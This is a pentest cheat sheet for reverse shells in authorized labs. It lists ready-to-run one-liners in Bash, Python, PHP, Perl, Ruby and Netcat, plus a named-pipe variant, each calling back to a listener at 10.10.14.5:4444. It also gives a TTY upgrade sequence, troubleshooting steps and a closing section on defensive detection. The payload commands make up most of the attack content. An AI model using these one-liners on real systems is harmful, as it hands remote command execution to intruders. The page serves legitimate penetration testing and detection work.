CS-08 // RED TEAM TOOLING
ONE LINER REV SHELL
A practical reference to reverse connections in authorized penetration tests and isolated labs. Covers listener setup, common Linux/Windows examples, shell quality, troubleshooting, and defensive telemetry.
10.10.14.5 with the reachable address of your lab listener and confirm the port is permitted by the lab network policy. Do not expose listeners to the public internet.01 / Listener setup
Start the listener on the assessment workstation first. The examples use TCP port 4444; choose an approved port for your lab.
rlwrap nc -lvnp 4444Requires Netcat and optionally rlwrap. Some Netcat builds use different listener flags; check nc -h.
ss -lntp | grep ':4444'Verify the listener is bound to the intended interface and port before testing the callback.
02 / Linux reverse-shell examples
Use only in a disposable lab where you control both endpoints. These examples launch a shell and connect it back to the listener.
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'Requires Bash built with /dev/tcp support. Substitute the listener IP and port.
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'Useful where Python 3 is installed. A PTY can improve interactivity but does not guarantee full terminal behavior.
php -r '$s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",[0=>$s,1=>$s,2=>$s],$p);'Requires PHP CLI and the relevant process/socket functions to be available. Runtime restrictions may prevent execution.
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Requires Perl and its Socket module. Perl one-liners can be difficult to quote correctly in nested shells; test the exact command in your lab.
ruby -rsocket -e'f=TCPSocket.open("10.10.14.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' Requires Ruby and a Unix-like target with /bin/sh.
nc -e /bin/sh 10.10.14.5 4444Not supported by many Netcat builds, including common OpenBSD variants. Check nc -h; do not assume the -e flag exists.
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 4444 > /tmp/fAlternative for lab systems where Netcat lacks -e. Uses a named pipe under /tmp; remove the pipe during cleanup.
socat file:$(tty),raw,echo=0 TCP-L:4444This is a listener-side terminal setup, not a target payload. Use a matching socat TCP client in the isolated lab when testing a PTY-backed session.
03 / Windows considerations
For Windows labs, prefer a controlled framework or a deliberately benign test harness and validate the result against the endpoint's policy. Avoid pasting opaque encoded commands into production systems.
$PSVersionTable.PSVersionConfirm the runtime before selecting a lab payload or test method.
Get-MpComputerStatus | Select-Object AMServiceEnabled,RealTimeProtectionEnabled,AntivirusEnabledRead-only defensive context before an authorized detection exercise; cmdlet availability depends on platform and permissions.
04 / TTY and session stability
A raw reverse shell may lack job control, terminal dimensions, and line editing. These commands are for an already-authorized Linux shell session.
python3 -c 'import pty; pty.spawn("/bin/bash")'Run from the existing shell if Python is installed. This does not create a network connection by itself.
stty -aRun this in a normal local terminal to find your current rows and columns.
Upgrading to a Fully Interactive TTY
A basic Netcat shell often has no proper terminal. In an authorized Linux lab, use this sequence to improve line editing, terminal sizing, and interactive program behavior. Run the local-terminal steps on your own assessment workstation, not inside the remote shell.
python3 -c 'import pty;pty.spawn("/bin/bash")'This starts Bash attached to a pseudo-terminal if Python 3 is available.
Press Ctrl + Z to suspend the foreground session and return to your local terminal. This is a keyboard action, not a command to paste.
stty raw -echo; fgRun on your local box after suspending the shell. If the display looks blank after the session resumes, press Enter.
export TERM=xterm
stty rows 38 columns 116Replace 38 and 116 with your local terminal's actual rows and columns. Get those values with stty -a in a normal local terminal.
This usually gives you a much more usable terminal, but behavior depends on the shell, PTY, and target environment; it is not a guarantee of full native job control. A stable shell is only the starting point for authorized enumeration and privilege-escalation testing. For a next step, see the LinPEAS usage guide.
05 / Troubleshooting checklist
- Confirm the callback address belongs to the correct VPN or lab interface (
ip addr). - Check that the listener is active and bound to the expected interface (
ss -lntp). - Validate routing and the approved egress path; a successful ping does not prove TCP connectivity.
- Confirm the target has the required interpreter and that application controls permit its use.
- Review host and network firewall logs rather than disabling security controls to force a connection.
- Close the listener and stop test processes when the exercise is complete.
06 / Defensive detection
- Correlate unusual interpreter processes (Bash, Python, PHP, PowerShell) with unexpected outbound TCP connections.
- Look for shells spawned by web-server, application, scripting, or service processes.
- Review EDR process trees, command-line telemetry, DNS/firewall logs, and outbound connection metadata.
- Alert on unexpected outbound sessions to unapproved destinations and ports; tune against legitimate admin tooling.
- Restrict unnecessary interpreters and outbound egress, and use application control where practical.
- Document the exact test window, source/target hosts, listener port, and cleanup confirmation.
References & attribution
This original 0x0ps reference selectively adapts common one-liner families and lab workflow from the references below. Pentestmonkey includes Bash, Perl, Python, PHP, Ruby, Netcat, Java and legacy xterm examples; syntax and availability vary by target OS and tool version.
- Pentestmonkey — One Liner Rev Shell (Bash, Perl, Python, PHP, Ruby, Netcat, Java, xterm)
- PayloadsAllTheThings — Reverse Shell Cheatsheet (index)
- InternalAllTheThings — maintained One Liner Rev Shell
- Static binaries reference (socat)
Commands are adapted and selectively rewritten for this site, not copied as a complete payload dump. Verify syntax for your installed tools and keep testing within the written scope of an engagement.